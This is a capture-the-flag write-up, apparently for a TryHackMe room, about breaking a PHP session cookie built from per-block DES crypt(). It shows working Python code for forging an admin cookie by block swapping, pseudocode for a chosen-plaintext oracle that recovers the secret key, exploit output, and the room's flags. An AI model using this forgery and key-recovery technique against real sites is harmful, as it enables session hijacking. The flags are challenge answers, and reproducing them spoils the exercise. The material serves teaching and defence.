Overview
A web application protects its SSO cookie using PHP’s crypt() with 2-character DES salts — effectively creating ECB-mode block encryption where each 8-byte chunk is hashed independently. Two attacks chain from a source code backup disclosure: an ECB block-swap attack forges an admin cookie for the web flag, then a chosen-plaintext DES oracle recovers the encryption key byte-by-byte.
index.php.bak → full PHP source disclosure
↓
Crypto scheme analysis: DES crypt() in ECB mode
↓
Exploit 1: ECB block swap (User-Agent: "00admin:")
↓
Forge admin cookie → web flag: THM{ok_you_f0und_w3b_fl4g_6cbe2bc}
↓
Exploit 2: DES chosen-plaintext oracle (byte-by-byte)
↓
154 oracle queries → full encryption key recoveredPort Scan & Initial Discovery
| Port | Service | Version |
|---|---|---|
22/tcp | SSH | OpenSSH 8.9p1 |
80/tcp | HTTP | Apache 2.4.59 (Debian) |
The web app sets two cookies on first request:
Set-Cookie: secure_cookie=24IbbM0dsUr2I24DdrHxl58jWQ... Set-Cookie: user=guest SSO cookie is protected with traditional military grade encryption <!-- TODO remember to remove .bak files-->
The 24 repeating every 13 characters hints at DES crypt output. The HTML comment points to backup files.
index.php.bak — Full Crypto Scheme
$ curl http://10.112.136.152/index.php.bakCookie generation:
// Cookie string: user + ":" + User-Agent + ":" + ENC_SECRET_KEY // Each 8-byte chunk hashed independently with same 2-char salt function make_secure_cookie($text, $SALT) { $secure_cookie = ''; foreach (str_split($text, 8) as $el) { $secure_cookie .= crypt($el, $SALT); // 13-char DES output per block } return $secure_cookie; }
Verification & target:
function verify_cookie($ENC_SECRET_KEY) {
$salt = substr($_COOKIE['secure_cookie'], 0, 2);
$string = $user . ":" . $_SERVER['HTTP_USER_AGENT'] . ":" . $ENC_SECRET_KEY;
return make_secure_cookie($string, $salt) === $crypted_cookie;
}
if ($user === "admin") {
echo 'congrats: *** web flag ***';
}The flaw: each 8-byte chunk is hashed independently with the same salt. This is structurally identical to ECB mode — blocks can be rearranged without detection.
ECB Block Swap → Admin Cookie
By setting User-Agent: "00admin:" (exactly 8 chars), Block 2 of the guest cookie matches Block 1 of an admin cookie:
| Block | Guest (UA: "00admin:") | Admin (UA: "") |
|---|---|---|
| 1 | guest:00 | admin::K ← = Block 2! |
| 2 | admin::K | KEY[1:9] ← = Block 3! |
| 3 | KEY[1:9] | KEY[9:17] |
Attack: Drop Block 1, use Blocks [2..N] as admin cookie.
# Step 1: Get guest cookie with aligned User-Agent r1 = requests.get(TARGET, headers={"User-Agent": "00admin:"}, allow_redirects=False) raw = unquote(r1.cookies.get('secure_cookie')) blocks = [raw[i:i+13] for i in range(0, len(raw), 13)] # Step 2: Forge admin cookie (skip block 0) admin_cookie = ''.join(blocks[1:]) # Step 3: Send with user=admin, empty User-Agent r2 = requests.get(TARGET, cookies={"user": "admin", "secure_cookie": admin_cookie}, headers={"User-Agent": ""}, allow_redirects=True) congrats: THM{ok_you_f0und_w3b_fl4g_6cbe2bc}. Now I want the key.
DES Chosen-Plaintext Oracle → Key Recovery
Since each DES block is independent and we control User-Agent length, we can position each unknown key byte as the last byte of a block where the preceding 7 bytes are known. Brute-force one character at a time.
For each KEY[i]: L = (8 - i%8) % 8 # UA padding to align byte UA = "A" * L GET / with User-Agent: UA # server generates cookie Extract target block + salt Build 7-byte known prefix # "guest:" + UA + ":" + recovered_key[0..i-1] For each printable char c: if des_crypt(prefix + c, salt) == block_hash: KEY[i] = c; break # one byte recovered
THM{Traditional_Own_Crypto_is_Always_Surprising!_and_this_hopefully_is_not_easy_to_crack_e41d20b5b0989cac65ed4a090cace944bf30e6d3ab88f9d447f52fd2140525b9}Attack Chain
index.php.bak → full crypto scheme, cookie generation logiccrypt() in ECB mode — independent 8-byte blocks, same saltUser-Agent: "00admin:" → forge admin cookie → Web flagVulnerabilities
| Finding | Location | Severity | Impact |
|---|---|---|---|
| ECB-mode DES crypt() cookie scheme | make_secure_cookie() | Critical | Block swap forges admin session cookie |
| Chosen-plaintext DES oracle | crypt() per-block | Critical | Full encryption key recovered byte-by-byte |
| Source code backup disclosure | index.php.bak | High | Exposes full crypto scheme, salt logic, key usage |
| DES crypt for session integrity | Cookie auth | High | crypt() is for password hashing, not message auth |
Takeaways
crypt() is for password hashing, not session tokens..bak, .old, ~ files in webroot expose source code. Keep them outside the document root.Full Exploit Script
$ python3 crypto_failures_auto.py --no-vpn [*] Phase 1: Web Flag (ECB block-swap attack) Got 23 DES blocks (salt: 24) [+] WEB FLAG: THM{ok_you_f0und_w3b_fl4g_6cbe2bc} [*] Phase 2: Encryption Key (DES block oracle, byte-by-byte) Progress: [154] ...f52fd2140525b9} [+] ENC KEY: THM{Traditional_Own_Crypto_is_Always_Surprising!...}
Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | Source backup retrieval, HTTP testing |
python3 + requests | ECB block-swap cookie forgery |
python3 + passlib | DES crypt oracle brute-force |
crypto_failures_auto.py | Full automated exploit (both phases) |